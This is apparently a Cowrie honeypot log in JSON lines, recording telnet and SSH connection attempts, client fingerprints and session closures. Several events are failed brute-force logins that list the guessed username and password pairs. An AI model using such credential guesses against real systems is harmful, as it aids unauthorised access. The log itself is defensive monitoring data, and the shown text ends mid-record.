{"eventid":"cowrie.session.connect","src_ip":"209.126.87.217","src_port":41508,"dst_ip":"159.203.135.109","dst_port":23,"session":"4c42de845a1a","protocol":"telnet","message":"New connection: 209.126.87.217:41508 (159.203.135.109:23) [session: 4c42de845a1a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:24:01.864862Z"}
{"eventid":"cowrie.session.closed","duration":120.00121831893921,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:24:03.896284Z","src_ip":"42.114.201.41","session":"5597b7b1b4d5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"209.126.87.217","src_port":41510,"dst_ip":"159.203.135.109","dst_port":23,"session":"7ec85988bdbb","protocol":"telnet","message":"New connection: 209.126.87.217:41510 (159.203.135.109:23) [session: 7ec85988bdbb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:24:03.969708Z"}
{"eventid":"cowrie.session.closed","duration":33.437389850616455,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:24:04.004615Z","src_ip":"209.126.87.217","session":"00caba5d80ac","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.48740792274475,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:24:04.516426Z","src_ip":"139.162.207.207","session":"b9e2978acafc","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.48360347747803,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:24:05.039575Z","src_ip":"139.162.207.207","session":"d2ffc9e6c471","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"42.114.201.41","src_port":51653,"dst_ip":"159.203.135.109","dst_port":23,"session":"7b097325790e","protocol":"telnet","message":"New connection: 42.114.201.41:51653 (159.203.135.109:23) [session: 7b097325790e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:24:05.270046Z"}
{"eventid":"cowrie.session.closed","duration":32.3151650428772,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:24:07.390499Z","src_ip":"209.126.87.217","session":"aa60a47b1f1d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00190949440002,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:24:08.230224Z","src_ip":"42.114.201.41","session":"6f317aa175b4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"209.126.87.217","src_port":41524,"dst_ip":"159.203.135.109","dst_port":23,"session":"206d6848fc23","protocol":"telnet","message":"New connection: 209.126.87.217:41524 (159.203.135.109:23) [session: 206d6848fc23]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:24:09.624772Z"}
{"eventid":"cowrie.session.closed","duration":40.550427198410034,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:24:09.900041Z","src_ip":"139.162.207.207","session":"5ca62166ae71","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"209.126.87.217","src_port":55872,"dst_ip":"159.203.135.109","dst_port":23,"session":"4e7e8dc11768","protocol":"telnet","message":"New connection: 209.126.87.217:55872 (159.203.135.109:23) [session: 4e7e8dc11768]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:24:10.603097Z"}
{"eventid":"cowrie.session.closed","duration":32.263150691986084,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:24:14.978903Z","src_ip":"209.126.87.217","session":"300b7ef80040","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"209.126.87.217","src_port":57960,"dst_ip":"159.203.135.109","dst_port":23,"session":"fdb2fb131fb9","protocol":"telnet","message":"New connection: 209.126.87.217:57960 (159.203.135.109:23) [session: fdb2fb131fb9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:24:20.766191Z"}
{"eventid":"cowrie.session.connect","src_ip":"209.126.87.217","src_port":57972,"dst_ip":"159.203.135.109","dst_port":23,"session":"52ffd7610a0e","protocol":"telnet","message":"New connection: 209.126.87.217:57972 (159.203.135.109:23) [session: 52ffd7610a0e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:24:20.911340Z"}
{"eventid":"cowrie.session.connect","src_ip":"139.162.207.207","src_port":35686,"dst_ip":"10.17.0.5","dst_port":23,"session":"a6aa38f974e5","protocol":"telnet","message":"New connection: 139.162.207.207:35686 (10.17.0.5:23) [session: a6aa38f974e5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:24:20.954608Z"}
{"eventid":"cowrie.session.connect","src_ip":"209.126.87.217","src_port":57974,"dst_ip":"159.203.135.109","dst_port":23,"session":"081f50492d05","protocol":"telnet","message":"New connection: 209.126.87.217:57974 (159.203.135.109:23) [session: 081f50492d05]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:24:22.003088Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.43.86.48","src_port":49920,"dst_ip":"10.17.0.5","dst_port":22,"session":"c0db19c85075","protocol":"ssh","message":"New connection: 45.43.86.48:49920 (10.17.0.5:22) [session: c0db19c85075]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:24:25.199595Z"}
{"eventid":"cowrie.session.closed","duration":31.36515188217163,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:24:26.003788Z","src_ip":"209.126.87.217","session":"c462475ca68a","protocol":"telnet"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:24:27.491035Z","src_ip":"45.43.86.48","session":"c0db19c85075","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"125.31.2.160","src_port":55752,"dst_ip":"10.17.0.5","dst_port":22,"session":"5eb00cf03548","protocol":"ssh","message":"New connection: 125.31.2.160:55752 (10.17.0.5:22) [session: 5eb00cf03548]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:24:28.387300Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:24:28.391650Z","src_ip":"125.31.2.160","session":"5eb00cf03548","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:24:28.601816Z","src_ip":"45.43.86.48","session":"c0db19c85075","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:24:28.611546Z","src_ip":"125.31.2.160","session":"5eb00cf03548","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123456Qwerty!","message":"login attempt [root/123456Qwerty!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:24:29.513487Z","src_ip":"125.31.2.160","session":"5eb00cf03548","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":33.37245440483093,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:24:30.377419Z","src_ip":"209.126.87.217","session":"64c1dc6226d7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:24:30.733830Z","src_ip":"125.31.2.160","session":"5eb00cf03548","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":41.95702767372131,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:24:31.312650Z","src_ip":"139.162.207.207","session":"36fe74dbcebf","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"sftp","password":"sftp@123","message":"login attempt [sftp/sftp@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:24:31.794093Z","src_ip":"45.43.86.48","session":"c0db19c85075","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"160.119.76.63","src_port":56916,"dst_ip":"159.203.135.109","dst_port":22,"session":"6ba045f07c54","protocol":"ssh","message":"New connection: 160.119.76.63:56916 (159.203.135.109:22) [session: 6ba045f07c54]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:24:32.182282Z"}
{"eventid":"cowrie.session.closed","duration":"7.9","message":"Connection lost after 7.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:24:33.099238Z","src_ip":"45.43.86.48","session":"c0db19c85075","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":37.83303999900818,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:24:33.179080Z","src_ip":"139.162.207.207","session":"4388d75e4213","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.067522048950195,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:24:34.174944Z","src_ip":"139.162.207.207","session":"d934de489d2e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.783939838409424,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:24:36.753574Z","src_ip":"209.126.87.217","session":"7ec85988bdbb","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.189398527145386,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:24:37.054150Z","src_ip":"209.126.87.217","session":"4c42de845a1a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"5.0","message":"Connection lost after 5.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:24:37.182492Z","src_ip":"160.119.76.63","session":"6ba045f07c54","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"209.126.87.217","src_port":45892,"dst_ip":"159.203.135.109","dst_port":23,"session":"eccce7ff0f8b","protocol":"telnet","message":"New connection: 209.126.87.217:45892 (159.203.135.109:23) [session: eccce7ff0f8b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:24:37.389470Z"}
{"eventid":"cowrie.session.connect","src_ip":"209.126.87.217","src_port":45900,"dst_ip":"159.203.135.109","dst_port":23,"session":"3e397aefeb30","protocol":"telnet","message":"New connection: 209.126.87.217:45900 (159.203.135.109:23) [session: 3e397aefeb30]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:24:38.183826Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":44380,"dst_ip":"159.203.135.109","dst_port":22,"session":"b0b67f1e3680","protocol":"ssh","message":"New connection: 159.203.92.129:44380 (159.203.135.109:22) [session: b0b67f1e3680]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:24:38.354503Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:24:38.358763Z","src_ip":"159.203.92.129","session":"b0b67f1e3680","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:24:38.363839Z","src_ip":"159.203.92.129","session":"b0b67f1e3680","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ansible","password":"Zw@123kk456","message":"login attempt [ansible/Zw@123kk456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:24:38.371789Z","src_ip":"159.203.92.129","session":"b0b67f1e3680","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":41.72940254211426,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:24:38.981503Z","src_ip":"139.162.207.207","session":"83f580957daf","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:24:39.376888Z","src_ip":"159.203.92.129","session":"b0b67f1e3680","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.827189922332764,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:24:40.451816Z","src_ip":"209.126.87.217","session":"206d6848fc23","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"139.162.207.207","src_port":45062,"dst_ip":"10.17.0.5","dst_port":23,"session":"be4340442cb8","protocol":"telnet","message":"New connection: 139.162.207.207:45062 (10.17.0.5:23) [session: be4340442cb8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:24:40.770527Z"}
{"eventid":"cowrie.session.closed","duration":32.812450647354126,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:24:43.415391Z","src_ip":"209.126.87.217","session":"4e7e8dc11768","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"139.162.207.207","src_port":56536,"dst_ip":"10.17.0.5","dst_port":23,"session":"9a02f823537b","protocol":"telnet","message":"New connection: 139.162.207.207:56536 (10.17.0.5:23) [session: 9a02f823537b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:24:46.293187Z"}
{"eventid":"cowrie.session.connect","src_ip":"209.126.87.217","src_port":40966,"dst_ip":"159.203.135.109","dst_port":23,"session":"8f1bd26d8635","protocol":"telnet","message":"New connection: 209.126.87.217:40966 (159.203.135.109:23) [session: 8f1bd26d8635]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:24:46.982085Z"}
{"eventid":"cowrie.session.connect","src_ip":"209.126.87.217","src_port":40970,"dst_ip":"159.203.135.109","dst_port":23,"session":"5d62fed9de24","protocol":"telnet","message":"New connection: 209.126.87.217:40970 (159.203.135.109:23) [session: 5d62fed9de24]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:24:49.639254Z"}
{"eventid":"cowrie.session.connect","src_ip":"139.162.207.207","src_port":56544,"dst_ip":"10.17.0.5","dst_port":23,"session":"241d74a2fdd2","protocol":"telnet","message":"New connection: 139.162.207.207:56544 (10.17.0.5:23) [session: 241d74a2fdd2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:24:50.489807Z"}
{"eventid":"cowrie.session.closed","duration":31.102583646774292,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:24:51.868663Z","src_ip":"209.126.87.217","session":"fdb2fb131fb9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.550721168518066,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:24:52.461938Z","src_ip":"209.126.87.217","session":"52ffd7610a0e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.032116651535034,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:24:53.035059Z","src_ip":"209.126.87.217","session":"081f50492d05","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"209.126.87.217","src_port":52940,"dst_ip":"159.203.135.109","dst_port":23,"session":"3fbbeab960df","protocol":"telnet","message":"New connection: 209.126.87.217:52940 (159.203.135.109:23) [session: 3fbbeab960df]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:24:59.461635Z"}
{"eventid":"cowrie.session.connect","src_ip":"139.162.207.207","src_port":60006,"dst_ip":"10.17.0.5","dst_port":23,"session":"7ca20c7ce809","protocol":"telnet","message":"New connection: 139.162.207.207:60006 (10.17.0.5:23) [session: 7ca20c7ce809]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:25:00.072107Z"}
{"eventid":"cowrie.session.closed","duration":39.54412817955017,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:25:00.498606Z","src_ip":"139.162.207.207","session":"a6aa38f974e5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"139.162.207.207","src_port":60012,"dst_ip":"10.17.0.5","dst_port":23,"session":"6bcb38a02f7c","protocol":"telnet","message":"New connection: 139.162.207.207:60012 (10.17.0.5:23) [session: 6bcb38a02f7c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:25:01.930802Z"}
{"eventid":"cowrie.session.connect","src_ip":"139.162.207.207","src_port":43478,"dst_ip":"10.17.0.5","dst_port":23,"session":"4e3833967ba3","protocol":"telnet","message":"New connection: 139.162.207.207:43478 (10.17.0.5:23) [session: 4e3833967ba3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:25:05.304271Z"}
{"eventid":"cowrie.session.closed","duration":31.728008031845093,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:25:09.911724Z","src_ip":"209.126.87.217","session":"3e397aefeb30","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.85052752494812,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:25:10.239881Z","src_ip":"209.126.87.217","session":"eccce7ff0f8b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"209.126.87.217","src_port":56340,"dst_ip":"159.203.135.109","dst_port":23,"session":"ac1bf143e36b","protocol":"telnet","message":"New connection: 209.126.87.217:56340 (159.203.135.109:23) [session: ac1bf143e36b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:25:11.286143Z"}
{"eventid":"cowrie.session.connect","src_ip":"37.143.61.130","src_port":45798,"dst_ip":"159.203.135.109","dst_port":22,"session":"840f21fa3f11","protocol":"ssh","message":"New connection: 37.143.61.130:45798 (159.203.135.109:22) [session: 840f21fa3f11]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:25:11.975679Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:25:13.588922Z","src_ip":"37.143.61.130","session":"840f21fa3f11","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha25